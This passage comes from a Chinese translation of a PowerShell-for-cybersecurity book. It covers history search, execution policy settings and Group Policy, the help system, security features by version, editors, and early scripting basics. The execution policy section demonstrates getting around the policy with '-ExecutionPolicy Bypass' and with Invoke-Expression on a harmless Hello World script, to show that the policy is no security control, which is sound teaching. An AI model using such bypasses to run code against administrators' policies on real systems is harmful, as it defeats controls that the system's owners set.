在你的域控制器中输入 $PSHOME\InstallPSCorePolicyDefinitions.ps1,按下Tab键并按Enter键确认。

PowerShell Core 的组策略模板将被安装,你可以通过以下路径访问它们:

  • 计算机配置 | **管理模板 | **PowerShell Core

  • 用户配置 | **管理模板 | **PowerShell Core

现在你可以使用这些模板来配置 PowerShell Core 环境,和 Windows PowerShell 一起使用。

你可以分别配置这两种策略,但为了避免混淆和错误配置,建议你在 Windows PowerShell 中配置设置,并勾选所有 PowerShell Core 组策略设置中提供的使用 Windows PowerShell 策略设置框。

自动完成

自动完成命令非常有用,能节省大量时间。你可以使用Tab键或Ctrl + 空格键进行自动完成:

  • 使用Tab键时,系统会显示最接近你已输入命令的命令。每按一次Tab键,你可以浏览命令并输入下一个命令——按字母顺序排列。

  • 如果有多个命令符合你输入的字符串,你可以按Ctrl + 空格键查看所有可能的命令。你可以使用箭头键选择一个命令,按Enter键确认:

图 1.9 – 使用 Ctrl + 空格键选择正确的命令

图 1.9 – 使用 Ctrl + 空格键选择正确的命令

使用 PowerShell 历史记录

有时,查看你最近在 PowerShell 会话中使用过哪些命令是非常有用的:

图 1.10 – 使用 Get-History

图 1.10 – 使用 Get-History

所有最近使用的命令都会显示出来。使用箭头键浏览最近使用的命令,修改它们并重新执行。

在这个例子中,最后执行的命令之一是Enter-PSSession命令,它启动一个 PowerShell 远程会话连接到指定的主机——在这个例子中,是连接到PSSEC-PC01

如果你想启动另一个 PowerShell 远程会话连接到PSSEC-PC02而不是PSSEC-PC01,你不必再次输入整个命令:只需按一次向上箭头键,然后将-ComputerName改为PSSEC-PC02并按Enter键执行即可。

如果你的配置允许你使用相同的凭据从这台 PC 连接到PSSEC-PC02,则连接会建立,你可以在PSSEC-PC02上远程工作。

我们将在第三章中更详细地探讨 PowerShell 远程管理技术和PowerShell 远程管理

搜索 PowerShell 历史

要搜索历史记录,将Get-History命令管道传输到Select-String并定义你要搜索的字符串:

Get-History | Select-String <string to search>

如果你是一个喜欢保持命令简洁的人,别名可能会对你有所帮助。我们稍后会详细了解它们,但现在,下面是一个使用别名来缩写命令并搜索历史的例子:

h | sts <string to search>

如果你想查看在本次会话中建立的所有 PowerShell 远程会话,可以搜索Enter-PSSession字符串:

图 1.11 – 搜索会话历史

图 1.11 – 搜索会话历史

然而,如果你只搜索子字符串,比如PSSession,你可以找到PSSession字符串的所有出现,包括最后执行的Get-History命令:

图 1.12 – 搜索会话历史

图 1.12 – 搜索会话历史

当你在寻找最近执行的命令时,你不需要查询整个历史记录。要仅获取最近的X条历史记录,可以指定-Count参数。

在这个例子中,要获取最后五条记录,指定-Count 5

图 1.13 – 获取最后五条历史记录

图 1.13 – 获取最后五条历史记录

当你关闭 PowerShell 会话时,会话历史会被删除。这意味着如果你在启动新会话时使用会话绑定的Get-History命令,你将得不到任何结果。

但是,也有一个持久历史,你可以查询,正如PSReadline模块所提供的。

历史记录存储在一个文件中,该文件存储在(Get-PSReadlineOption).HistorySavePath配置的路径下:

图 1.14 – 显示持久历史的位置

图 1.14 – 显示持久历史的位置

你可以通过Get-Content来打开文件或查看其内容:

> Get-Content (Get-PSReadlineOption).HistorySavePath

如果你只是想搜索某个命令并再次执行,交互式搜索可能会有所帮助。按下Ctrl + R进行反向搜索,输入你之前执行命令时用过的字符或词语。

在进行反向搜索时,你之前执行的最新命令会出现在命令行中。要查找下一个匹配项,再次按下Ctrl + R

图 1.15 – 使用交互式搜索进行反向搜索

图 1.15 – 使用交互式搜索进行反向搜索

Ctrl + SCtrl + R 类似,后者用于反向搜索,前者用于正向搜索。你可以使用这两个快捷键在搜索结果中前后移动。

Ctrl + RCtrl + S 允许你搜索永久历史记录,因此你不局限于只搜索当前会话中执行的命令。

清除屏幕

有时,在运行多个命令之后,你可能想在不重新打开终端的情况下开始一个空白的 shell,以保留当前会话、历史记录和变量:

> Clear

输入Clear命令并按Enter确认后,当前的 PowerShell 控制台将被清空,你可以从一个全新的控制台开始。此会话中设置的所有变量仍然可访问,历史记录仍然可用。

除了Clear,你还可以使用cls别名或Ctrl + L快捷键。

取消命令

如果你正在运行某个命令,有时可能会出于不同的原因取消它。可能是你不小心执行了命令,或者某个命令执行时间过长,亦或你想尝试不同的方法——没关系,Ctrl + C 是你的朋友。按下 Ctrl + C 来取消正在运行的命令。

执行策略

在我们开始编写 PowerShell 脚本之前,让我们先详细了解一个名为执行策略(Execution Policy)的机制。如果你曾尝试在未配置为允许运行脚本的系统上运行脚本,可能已经遇到过这个功能:

图 1.16 – 尝试在执行策略配置为“Restricted”的系统上执行脚本

图 1.16 – 尝试在执行策略配置为“Restricted”的系统上执行脚本

执行策略是一个限制系统上 PowerShell 脚本执行的功能。使用Get-ExecutionPolicy来查看当前执行策略的配置:

图 1.17 – 查找当前执行策略设置

图 1.17 – 查找当前执行策略设置

虽然所有 Windows 客户端的默认设置是 Restricted,但 Windows 服务器的默认设置是 RemoteSigned。在配置为 Restricted 设置的系统中,完全不允许运行脚本,而 RemoteSigned 则允许执行本地脚本和已签名的远程脚本。

配置执行策略

要开始使用 PowerShell 并创建自己的脚本,首先需要配置执行策略设置。

执行策略是一个功能,可以防止你不小心运行 PowerShell 代码。它并不能防止试图故意在你的系统上运行代码的攻击者。

它实际上是一个保护你免受自己错误的功能——例如,如果你从互联网下载了一个脚本,想在运行前检查它,而你不小心双击了它,执行策略会帮助你避免这种情况。

执行策略选项

以下是执行策略选项,用于决定是否允许在当前系统上运行脚本,或者是否需要签名才能运行:

  • AllSigned:只有由受信任的发布者签名的脚本可以执行,包括本地脚本。

1AppLocker、应用控制和代码签名 中,你可以了解更多关于 脚本签名 的内容,或者你可以参考在线文档 docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_signing

  • Bypass:不阻止任何内容,脚本运行时不会生成警告或提示。

  • RemoteSigned:只有本地创建的脚本可以在未签名的情况下运行。所有从互联网下载的脚本或存储在远程网络位置的脚本需要由受信任的发布者签名。

  • Restricted:这是默认配置。无法运行 PowerShell 脚本或加载配置文件。但仍然可以运行交互式代码。

  • Unrestricted:所有脚本都可以运行,无论它们是从互联网下载的还是本地创建的。如果脚本是从互联网下载的,仍然会提示你是否要运行该文件。

执行策略作用范围

要指定谁或什么会受到执行策略功能的影响,你可以定义 作用范围-scope 参数允许你设置受执行策略功能影响的作用范围:

  • CurrentUser:意味着此计算机上的当前用户会受到影响。

  • LocalMachine:这是默认作用范围。此计算机上的所有用户都会受到影响。

  • MachinePolicy:这会影响此计算机上的所有用户。

  • Process:这只会影响当前的 PowerShell 会话。

一种好的方法是对你们组织中运行的所有脚本进行签名。通过这种方式,你不仅可以识别哪些脚本是被允许的,还可以更好地使用像 AppLocker 这样的进一步防护措施(你可以在 "第 11 页" 第 435中阅读更多关于 AppLocker 的信息,AppLocker、应用控制和代码签名)– 并且你可以将执行策略配置为 AllSigned

当然,如果你在开发自己的 PowerShell 脚本,在你还在工作时,这些脚本是没有签名的。

为了保持对无意间运行脚本的保护,同时仍能运行本地开发的脚本,RemoteSigned 设置是一个很好的选择。在这种情况下,只有本地脚本(即那些没有从互联网下载并签名的脚本)可以运行;来自互联网的未签名脚本将被阻止执行。

使用 Set-ExecutionPolicy cmdlet 作为管理员配置执行策略设置:

图 1.18 – 使用 GPO 配置执行策略设置

图 1.18 – 配置执行策略设置

执行策略设置正在配置中。现在你可以在系统上运行自己的脚本和导入的模块。

Windows PowerShell – 通过组策略配置执行策略

如果你不想手动为组织中的每台机器设置执行策略设置,你还可以通过组策略全局配置它。

要为 Windows PowerShell 配置组策略,请创建一个新的 组策略对象(GPO),并将其链接到包含所有设备并且你希望配置执行策略的根文件夹。

然后,导航到 计算机配置 | 策略 | 管理模板 | **Windows 组件 | **Windows PowerShell

图 1.19 – 使用 GPO 配置 Windows PowerShell 的执行策略功能

图 1.19 – 使用 GPO 配置 Windows PowerShell 的执行策略功能

配置 启用脚本执行 设置,并选择 允许本地脚本和远程签名脚本 选项,这将执行策略配置为 RemoteSigned

PowerShell Core – 通过组策略配置执行策略

由于 Windows PowerShell 和 PowerShell Core 被设计为并行运行,你还需要为 PowerShell Core 配置执行策略设置。

PowerShell Core 的组策略设置位于以下路径:

  • 计算机配置 | **管理模板 | **PowerShell Core

  • 用户配置 | **管理模板 | **PowerShell Core

图 1.20 – 使用 GPO 配置 PowerShell Core 的执行策略设置

图 1.20 – 使用 GPO 配置 PowerShell Core 的执行策略设置

配置所选设置,并应用更改。在此情况下,将应用配置在 Windows PowerShell 组策略中的设置。

执行策略不是一种安全控制 —— 避免执行策略

如前所述,执行策略是一种防止你无意间运行脚本的功能。它并不是为了保护你免受恶意用户的攻击,或者防止直接在机器上运行的代码。

即使执行策略配置得再严格,你仍然可以在 PowerShell 提示符下输入任何代码。

本质上,当我们谈论绕过执行策略时,我们仅仅是在避免执行策略,正如你将在本节中看到的那样。虽然这不是真正的黑客行为,但一些安全社区的人仍然喜欢称绕过执行策略为绕过

绕过执行策略非常简单——最简单的方法就是使用它自己的-Bypass参数。

该参数是在人们开始将执行策略视为安全控制时引入的。PowerShell 团队希望避免这种误解,以免组织陷入虚假的安全感中。

我创建了一个简单的脚本,它只会将Hello World!写入控制台,你可以在 GitHub 上找到该脚本,链接为 https://github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter01/HelloWorld.ps1。

当执行策略设置为受限时,如果我尝试在没有任何附加参数的情况下运行脚本,会收到错误消息。

然而,如果我以管理员身份使用powershell.exe运行脚本,并将-ExecutionPolicy参数设置为Bypass,该脚本就能正常运行:

> powershell.exe -ExecutionPolicy Bypass -File .\HelloWorld.ps1
Hello World!

如果执行策略通过组策略进行配置,则不能仅通过使用-Bypass参数来绕过它。

由于执行策略仅限制脚本的执行,另一种方法是将脚本的内容传递给Invoke-Expression。同样,脚本内容可以正常运行——即使执行策略是通过组策略进行配置的:

Get-Content .\HelloWorld.ps1 | Invoke-Expression
Hello World!

将脚本的内容传递给Invoke-Expression,使得脚本的内容被处理得就像在本地使用命令行执行命令一样;这绕过了执行策略,而执行策略仅适用于执行脚本,而不适用于本地命令。

这些只是避免执行策略的众多方法中的一些示例,更多避免执行策略的示例可以参见"8"页 337红队任务和手册。因此,不要误以为执行策略能够保护你免受攻击者的侵害。

如果你有兴趣了解哪些缓解措施可以帮助你提高环境的安全性,你可以在第三部分详细的 PowerShell 安全性缓解措施中找到更多信息。

帮助系统

要在 PowerShell 中取得成功,理解和使用帮助系统至关重要。要开始,你可以在本书中找到一些有用的建议。由于我将只讲解基础知识,并主要集中于网络安全脚本编写,我建议你还要查看 PowerShell 帮助系统的文档。可以通过以下链接找到:https://docs.microsoft.com/en-us/powershell/scripting/learn/ps101/02-help-system。

有三个功能可以在你使用 PowerShell 时让你的工作更加轻松:

  • Get-Help

  • Get-Command

  • Get-Member

让我们更深入地了解如何使用它们,以及它们如何帮助你。

Get-Help

如果你熟悉 Linux 系统的操作,Get-Help 类似于 Linux 中的 man 页面,即关于如何以最佳方式使用特定命令的教程和帮助页面的集合。

如果你不知道如何使用某个命令,只需使用 Get-Help <command>,你将知道它提供了哪些选项以及如何使用它。

当你第一次在计算机上运行 Get-Help 时,你可能只会看到帮助页面的非常有限版本,并带有说明,指出此计算机上缺少该 cmdlet 的帮助文件:

Get-Help -Name Get-Help

如前所述,输出只显示部分帮助:

图 1.21 – 当 cmdlet 缺少帮助文件时,Get-Help 的输出

图 1.21 – 当 cmdlet 缺少帮助文件时,Get-Help 的输出

因此,首先,你需要更新你的帮助文件。需要互联网连接。以管理员身份打开 PowerShell,并运行以下命令:

Update-Help

你应该会看到一个覆盖层,显示更新的状态:

图 1.22 – 更新帮助

图 1.22 – 更新帮助

一旦更新完成,你就可以按预期使用所有帮助文件。由于帮助文件很快过时,因此定期更新它们或创建定时任务以更新系统上的帮助文件是很有意义的。

你知道吗?

PowerShell 帮助文件默认不部署,因为这些文件更新速度太快。由于提供过时的帮助文件没有意义,因此默认情况下不会安装它们。

你可以使用以下 Get-Help 参数:

  • 详细: 这将显示基本的帮助页面,并添加参数描述和示例。

  • 示例: 这仅显示示例部分。

  • 完整: 这将显示完整的帮助页面。

  • 在线: 这将显示指定帮助页面的在线版本。它在远程会话中不起作用。

  • 参数: 此参数仅显示指定参数的帮助。

  • 显示窗口: 这将帮助页面显示在一个单独的窗口中。它不仅提供更好的阅读舒适度,还允许你搜索和配置设置。

获取帮助文件提供的所有信息的最简单方法是使用 -** 完整** 参数:

Get-Help -Name Get-Content -Full

运行此命令将获取 Get-Content 函数的完整帮助页面:

图 1.23 – Get-Content 函数的完整帮助页面

图 1.23 – Get-Content 函数的完整帮助页面

还请查看官方 PowerShell 文档,了解 Get-Help 的更多高级使用方法:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/get-help

Get-Command

Get-Command 获取计算机上当前安装的所有命令,包括别名、应用程序、cmdlet、筛选器、函数和脚本:

Get-Command

此外,它还可以向你展示某个模块的可用命令。在此案例中,我们探讨了从PowerShell Gallery安装的EventList模块,PowerShell Gallery 是一个集中式的模块、脚本和其他 PowerShell 相关资源的存储库:

> Get-Command -Module EventList
CommandType Name                                Version    Source
----------- ----                                -------    ------
Function    Add-EventListConfiguration          2.0.0      EventList
Function    Get-AgentConfigString               2.0.0      EventList
Function    Get-BaselineEventList               2.0.0      EventList
Function    Get-BaselineNameFromDB              2.0.0      EventList
Function    Get-GroupPolicyFromMitreTechniques  2.0.0      EventList
Function    Get-MitreEventList                  2.0.0      EventList
Function    Get-SigmaPath                       2.0.0      EventList
Function    Get-SigmaQueries                    2.0.0      EventList
Function    Get-SigmaSupportedSiemFromDb        2.0.0      EventList
Function    Import-BaselineFromFolder           2.0.0      EventList
Function    Import-YamlCofigurationFromFolder   2.0.0      EventList
Function    Open-EventListGUI                   2.0.0      EventList
Function    Remove-AllBaselines                 2.0.0      EventList
Function    Remove-AllYamlConfigurations        2.0.0      EventList
Function    Remove-EventListConfiguration       2.0.0      EventList
Function    Remove-OneBaseline                  2.0.0      EventList

Get-Command也非常有用,特别是当你寻找某个特定的 cmdlet,但又记不住其名称时。例如,如果你想找出电脑上所有名称中包含Alias的 cmdlet,Get-Command会非常有帮助:

> Get-Command -Name "*Alias*" -CommandType Cmdlet
CommandType  Name           Version    Source
-----------  ----           -------    ------
Cmdlet       Export-Alias   3.1.0.0    Microsoft.PowerShell.Utility
Cmdlet       Get-Alias      3.1.0.0    Microsoft.PowerShell.Utility
Cmdlet       Import-Alias   3.1.0.0    Microsoft.PowerShell.Utility
Cmdlet       New-Alias      3.1.0.0    Microsoft.PowerShell.Utility
Cmdlet       Set-Alias      3.1.0.0    Microsoft.PowerShell.Utility

如果你不完全记得某个命令,使用-UseFuzzyMatching参数。它会显示所有相关命令:

Get-Command get-commnd -UseFuzzyMatching
CommandType   Name         Version   Source
-----------   ----         -------   ------
Cmdlet        Get-Command  7.1.3.0   Microsoft.PowerShell.Core
Application   getconf      0.0.0.0   /usr/bin/getconf
Application   command      0.0.0.0   /usr/bin/command

此外,请查看文档,了解Get-Command如何帮助你获取更多高级示例:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/get-command

Get-Member

Get-Member帮助你显示对象中的成员。

在 PowerShell 中,一切都是对象,甚至是一个简单的字符串。Get-Member对于查看可执行的操作非常有用。

所以,如果你想查看使用"Hello World!"字符串时可以执行哪些操作,只需输入以下内容:

"Hello World!" | Get-Member

所有可用的方法和属性将会显示,你可以从列表中选择最适合你用例的项:

图 1.24 – 显示字符串的所有可用成员

图 1.24 – 显示字符串的所有可用成员

在前面的示例中,我还添加了| Sort-Object Name字符串。它会按字母顺序对输出进行排序,帮助你通过名称快速找到方法或属性。

如果未指定Sort-ObjectGet-Member会按MemberType(即MethodParameterizedPropertyProperty)字母顺序对输出进行排序。

选择要运行的操作后,你可以通过添加.(一个),然后跟上操作来使用它。所以,如果你想查看字符串的长度,添加Length操作:

> ("Hello World!").Length
12

当然,你还可以与变量、数字以及所有其他对象一起工作。

要显示变量的数据类型,可以使用GetType()。在此示例中,我们使用GetType()来查找$x变量的数据类型是整数:

> $x = 4
> $x.GetType()
IsPublic IsSerial Name  BaseType
-------- -------- ----  --------
True     True     Int32 System.ValueType

若要获取有关如何使用Get-Member的更多高级示例,请务必查看docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-member上的官方文档。

PowerShell 版本

由于 PowerShell 功能通常与特定版本相关联,因此检查你系统上安装的 PowerShell 版本可能会很有用。

你可以使用$PSVersionTable.PSVersion环境变量:

> $PSVersionTable.PSVersion
Major  Minor  Build  Revision
-----  -----  -----  --------
5      1      19041  610

在此示例中,已安装 PowerShell 5.1。

探索每个版本中增加的安全功能

PowerShell 向后兼容早期版本。因此,始终升级到最新版本是有意义的。

但让我们看看每个版本提供了哪些与安全相关的功能。此概览仅供参考,因此我不会深入详细讨论每个功能。

PowerShell v1

第一版 PowerShell,PowerShell v1,于 2006 年作为独立版本发布。它引入了以下一系列与安全相关的功能:

  • 签名脚本和 PowerShell 主题接口 SIP)。

  • Get-AuthenticodeSignature*-AclGet-PfxCertificate cmdlet

  • 执行策略。

  • 需要 意图 才能运行当前目录中的脚本(./foo.ps1)。

  • 如果脚本被双击,则不会运行。

  • PowerShell 引擎日志记录:某些命令可以通过 LogPipelineExecutionDetails 进行记录,尽管这很难配置。

  • 通过电子邮件直接发送的脚本的内置保护:这会故意将 PowerShell 扩展添加到 Windows 的 不安全的 电子邮件 列表中。

  • 软件限制策略SRPs)和 AppLocker 支持。

PowerShell v2

2009 年,第二版 PowerShell(PowerShell v2)发布。该版本默认包含在 Windows 7 操作系统中。它提供了以下功能:

  • 事件

  • 事务

  • 执行策略的更改

    • 作用域 到执行策略(进程、用户和机器)

    • ExecutionPolicy Bypass 实现,使人们不再将其视为安全控制

  • PowerShell 远程安全

  • 模块和模块安全

  • IIS 托管的远程端点

    • 这非常难以配置,需要 DIY 受限端点。
  • Add-Type

  • 数据语言

PowerShell v3

PowerShell v3 于 2012 年发布,默认包含在 Windows 8 操作系统中。它提供了以下功能:

  • 在核心 cmdlet 中的 Unblock-File 和备用数据流管理。

  • 受限语言的初步实现(针对 Windows RT)。

  • 用于模块日志记录的注册表设置(通过 LogPipelineExecutionDetails)。

  • 受限端点:这些仍然很难配置,但这是一个 适合管理员的 IIS 托管远程端点版本。

PowerShell v4

在 PowerShell v3 之后,PowerShell v4 于 2013 年发布 —— 比前一个版本晚了 1 年 —— 并且默认包含在 Windows 8.1 操作系统中。其功能如下:

  • 工作流。

  • DSC 安全,特别是对于签名策略文档。

  • PowerShell Web 服务安全性。

  • 通过 KB3000850,许多重要的安全功能可以移植到 PowerShell 版本 4 中,例如模块日志记录、脚本块日志记录、转录等。然而,这些功能默认包含在 PowerShell 版本 5 中。

PowerShell v5

PowerShell v5 于 2015 年发布,并默认包含在 Windows 10 操作系统中。许多现在 PowerShell 中可用的安全功能都是在这个版本中提供的。它们列出如下:

  • 安全透明性

  • AMSI

  • 转录

  • 脚本块日志记录

  • 模块日志记录

  • 受保护的事件日志记录

  • JEA

  • 本地 JEA(用于交互式受限/自助终端模式)

  • 安全的代码生成 API

  • 受限语言

  • 加密消息语法CMS)cmdlet,*-FileCatalog cmdlet,ConvertFrom-SddlStringFormat-HexGet-FileHash

  • PowerShell Gallery 安全性

  • Revoke-Obfuscation

  • Injection Hunter 模块

  • PowerShell 类安全性

PowerShell v6

在 2018 年发布的 PowerShell v6,作为独立版本发布时,PowerShell 团队主要集中在将 PowerShell 作为开源软件提供跨平台支持的工作上。PowerShell v6 引入了第一个支持全安全透明性的 macOS 和 Unix shell。它的特点包括以下内容:

  • Windows 上的 OpenSSH

  • 跨平台一致性:通过 Syslog 提供完全的安全透明性

PowerShell 编辑器

在我们开始之前,您可能想选择一个编辑器。在您开始将脚本输入到 notepad.exe 中,或者想使用 PowerShell 7 版的 PowerShell ISE 之前,让我们先看看有哪些 PowerShell 编辑器是可以免费使用的,以及它们的潜在缺点。

Windows PowerShell ISE

Windows PowerShell** 集成脚本环境ISE**)是一个集成在 Microsoft Windows 系统中的主机应用程序。由于此应用程序是预安装的,这使得初学者非常容易直接打开 Windows PowerShell ISE 并编写他们的第一个脚本。

Windows PowerShell ISE 的缺点是,目前它不支持 PowerShell Core——并且目前,PowerShell 团队没有计划添加支持。

要打开它,您可以打开 Windows 开始菜单并搜索 PowerShell ISE,或者您也可以通过打开命令行,使用 Windows 键 + R 快捷键,输入 powershell_isepowershell_ise.exe 来运行它。

当您启动 Windows PowerShell ISE 时,您只会看到 PowerShell 命令行、菜单和可用的命令。在您使用编辑器之前,您需要打开一个文件或创建一个新的空白文件。

您还可以点击右侧的小下拉箭头来展开脚本窗格,或者通过 视图 菜单启用脚本窗格:

图 1.25 – 打开新文件后的 Windows PowerShell ISE

图 1.25 – 打开新文件后的 Windows PowerShell ISE

在 Windows 10 设备上,PowerShell ISE 的默认位置在以下目录:

  • Windows PowerShell ISE:

%****windir%\system32\WindowsPowerShell\v1.0\PowerShell_ISE.exe

  • Windows PowerShell ISE (x86):

%****windir%\syswow64\WindowsPowerShell\v1.0\PowerShell_ISE.exe

那些讨厌的错误是从哪里来的?

在使用 PowerShell 或 PowerShell ISE 时,有时可能会出现错误,原因是你没有足够的权限。为了解决这个问题,如果你的使用场景需要,应该以管理员身份启动 PowerShell(ISE)。

Windows PowerShell ISE 命令

在右侧窗格中,你可以浏览当前会话中所有可用的命令和模块。特别是如果你对现有的 cmdlet 不太熟悉,这会对你大有帮助。

Visual Studio Code

是的,你可以仅使用 Windows PowerShell 或 Windows PowerShell ISE 来使用 PowerShell 5.1。不过,说实话,你应该使用 PowerShell Core 7。

你想编写复杂的脚本、函数和模块,因此你需要使用一个好的编辑器来支持你的脚本编写。

Visual Studio Code 不是唯一推荐的用于编辑 PowerShell 的编辑器,但它作为一个开源、跨平台版本是免费的。

它由微软开发,可以从官方 Visual Studio Code 网页下载:code.visualstudio.com/

Visual Studio 与 Visual Studio Code

当你搜索 Visual Studio Code 时,常常会误入 Visual Studio,尽管名字相似,但它实际上是一个完全不同的产品。

Visual Studio 是一个功能齐全的集成开发环境IDE),它由多个工具组成,帮助开发者进行开发、调试、编译和部署代码。Visual Studio 甚至包含了一个工具,可以轻松设计GUI组件。

Visual Studio Code 是一个提供了许多功能的编辑器,但最终它对于代码开发者非常有用。此外,它还提供了 Git 集成,使你能够轻松地与版本控制系统连接,跟踪更改并最终回退更改。

总结来说,Visual Studio 是一个庞大的套件,旨在开发 Android、iOS、Mac、Windows、Web 和云端应用,正如微软所述。相比之下,Visual Studio Code 是一个支持成千上万插件并提供众多功能的代码编辑器。Visual Studio 不能在 Linux 系统上运行,而 Visual Studio Code 可以在跨平台系统上使用。

由于 Visual Studio 是一个功能齐全的 IDE,包含许多功能,因此启动程序时可能需要更长时间。因此,对于 PowerShell 的工作,我推荐使用 Visual Studio Code,它不仅是我个人偏爱的编辑器,也是 PowerShell 推荐的编辑器。

使用 Visual Studio Code

使用 Visual Studio Code 在 PowerShell 上工作时提供了很多优点。PowerShell 团队甚至发布了一份指南,教你如何利用 Visual Studio Code 进行 PowerShell 开发。你可以在docs.microsoft.com/en-us/powershell/scripting/dev-cross-plat/vscode/using-vscode找到它。

安装完 Visual Studio Code 后,当您打开它时 UI 应该是这样的:

图 1.26 – Visual Studio Code 编辑器

图 1.26 – Visual Studio Code 编辑器

如果想要最大限度地利用 Visual Studio Code,请确保遵循文档。尽管如此,这是我在使用 Visual Studio Code 中 PowerShell 项目时必备的内容。

安装 PowerShell 扩展

要在 Visual Studio Code 中正确使用 PowerShell,应安装并激活 PowerShell 扩展。

如果在安装 PowerShell 扩展之前启动新项目或文件并使用 PowerShell 代码,Visual Studio Code 会建议安装 PowerShell 扩展。在安装 PowerShell 扩展的提示上确认选择 Yes

如果想要手动下载扩展,可以通过以下链接下载 Visual Studio PowerShell 扩展:marketplace.visualstudio.com/items?itemName=ms-vscode.PowerShell

通过按下 Ctrl + P 打开快速打开选项,并输入 ext install powershell。然后按 Enter

打开扩展面板。搜索PowerShell并点击安装按钮。按照指示操作。

安装后,PowerShell 扩展会自动显示。如果稍后再次访问它,您可以直接从菜单打开扩展面板,或使用快捷键 Ctrl + Shift + X

图 1.27 – Visual Studio Code: 安装 PowerShell 扩展

图 1.27 – Visual Studio Code: 安装 PowerShell 扩展

在 Visual Studio Code 中进行自动格式化

通过按下 Alt + Shift + F,Visual Studio Code 会自动格式化当前的代码。您可以通过调整工作区配置来指定您的格式化偏好。

总结

在这一章中,您了解了在处理 PowerShell 进行网络安全时如何入门。您对面向对象编程及其四个主要原则有了高级别的了解。您学到了属性和方法是什么,以及它们如何应用于对象。

现在您知道如何安装最新版本的 PowerShell Core,并且知道如何执行一些基本任务,例如处理历史记录,清屏和取消命令。

您了解到“执行策略”仅是一个功能,用于防止意外运行脚本,重要的是要理解它不是一个防止攻击者的安全控制。

您学会了如何自助获取有关 cmdlet、函数、方法和属性的更多信息,使用帮助系统。

现在您已经找到并安装了首选的 PowerShell 编辑器,准备好进入下一章开始学习 PowerShell 脚本基础知识,并编写您的第一个脚本。

进一步阅读

如果你想深入探讨本章提到的一些主题,请参考以下资源:

你还可以在 GitHub 仓库中找到本章提到的所有链接,访问 第一章 即可查看。无需手动输入每个链接:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter01/Links.md

第二章:PowerShell 脚本基础

现在您已经学会了如何开始使用 PowerShell,接下来让我们深入了解 PowerShell 脚本基础,刷新一下我们的知识。

我们将从基础知识开始,学习如何使用变量、运算符和控制结构。然后,我们将深入探讨,将 Cmdlet、函数甚至模块的大致框架串联起来。

完成本章内容后,您应该能够创建自己的脚本,甚至知道如何创建自己的模块。

本章将涵盖以下主题:

  • 变量

  • 运算符

  • 控制结构

  • 命名约定

  • Cmdlet

  • 函数

  • 别名

  • 模块

技术要求

本章所需内容:

变量

变量 是开发者用来存储所谓 的存储位置。变量总是有名称,允许你独立于存储的值来调用它们。在 PowerShell 中,变量前面的 $ 符号表示它是一个变量:

> $i = 1
> $string = "Hello World!"
> $this_is_a_variable = "test"

变量非常适合存储简单值、字符串以及命令的输出:

> Get-Date
Monday, November 2, 2020 6:43:59 PM
> $date = Get-Date
> Write-Host "Today is" $date
Today is 11/2/2020 6:44:40 PM

正如这些示例所示,我们不仅可以在变量中存储字符串和数字,还可以存储 Cmdlet 的输出,如Get-Date,并在代码中重复使用。

数据类型

与其他脚本语言或编程语言不同,您不必在定义变量时显式指定数据类型。定义变量时,系统会自动设置最适合的类型:

> $x = 4
> $string = "Hello World!"
> $date = Get-Date

您可以通过 GetType() 方法来查看使用了哪种数据类型:

> $x.GetType().Name
Int32
> $string.GetType().Name
String
> $date.GetType().Name
DateTime

在 PowerShell 中,数据类型是自动设置的。在以自动化方式定义变量时,有时会发生错误类型的设置。例如,可能会出现将整数定义为字符串的情况。如果发现冲突,GetType() 方法可以帮助您找出设置的实际数据类型。

数据类型概述

以下表格展示了各种变量数据类型及其描述:

表 2.1 – 变量数据类型

表 2.1 – 变量数据类型

这些是您在使用 PowerShell 时最常遇到的数据类型。此列表并不完整,您可能还会遇到其他变量:使用 GetType() 可以帮助您识别变量数据类型。

在 PowerShell 中,所有数据类型都基于 .NET 类;要获取有关每个类的更多信息,可以参考官方 Microsoft 文档:

类型转换变量

通常不需要声明数据类型,因为 PowerShell 会自动处理。但有时可能需要更改数据类型——例如,如果导入的数字值列表被当作字符串处理而不是int

> $number = "4"
> $number.GetType().Name
String

如果你正在处理声明了错误数据类型的值,你将看到令人头疼的错误信息(因为只接受其他输入),或者你的代码将无法按预期工作。

如果$number变量被声明为字符串,并且我们执行加法操作,那么将不会进行数学运算。相反,两者会作为字符串连接在一起:

> $number + 2
42

虽然 42 可能是生命、宇宙和一切问题的终极答案,但它并不是我们方程的预期答案:当我们计算4 + 2时,期望的结果是6,但由于4被视为字符串,2将被连接成字符串42,并作为结果显示:

> ($number + 2).GetType().Name
String

特别是在解析文件或输入时,变量可能没有正确设置。如果发生这种情况,结果会是错误信息或错误操作。当然,这种行为不仅限于整数和字符串:基本上每种数据类型都会发生类似问题。

如果发现设置了错误的数据类型,可以通过类型转换将数据类型转换为其他类型。

如果我们想要将$number作为普通整数处理,我们需要将变量类型转换为[int]

> $int_number = [int]$number
> $int_number.GetType().Name
Int32

现在,$int_number可以作为普通整数处理,执行数学运算时也能按预期工作:

> $int_number + 2
6

你也可以通过使用 Unicode 字符串的十六进制值,并将其转换为[char],在 PowerShell 中将 Unicode 十六进制字符串转换为字符:

> 0x263a
9786
> [char]0x263a
☺

大多数情况下,PowerShell 会自动设置正确的变量数据类型。类型转换可以帮助你控制如何处理数据,避免错误结果和错误信息。

自动变量

自动变量是由 PowerShell 创建并维护的内置变量。

这里只是一个初学者常用的自动变量小集合。你可能会在后续章节中找到其他自动变量:

  • $?:上一个命令的执行状态。如果上一个命令成功执行,则设置为True,否则设置为False

  • $_:在处理管道对象时,$_可以用来访问当前对象($PSItem)。它也可以用于在每个项目上执行操作的命令,如以下示例所示:

    Get-ChildItem -Path C:\ -Directory -Force -ErrorAction SilentlyContinue | ForEach-Object {
    
        Write-Host $_.FullName
    
    }
    
  • $Error:包含最近的错误,这些错误存储在一个数组中。最近的错误可以在$Error[0]中找到。

  • $false:表示传统的布尔值False

  • $LastExitCode:包含运行的程序的最后退出代码。

  • $null:包含null或空值。它可以用来检查变量是否包含值,或者在脚本编写时设置一个未定义的值,因为$null仍然被当作一个具有值的对象来处理。

  • $PSScriptRoot:当前脚本运行所在目录的位置。它可以帮助你处理相对路径。

  • $true:包含True。你可以在命令和脚本中使用$true来表示True

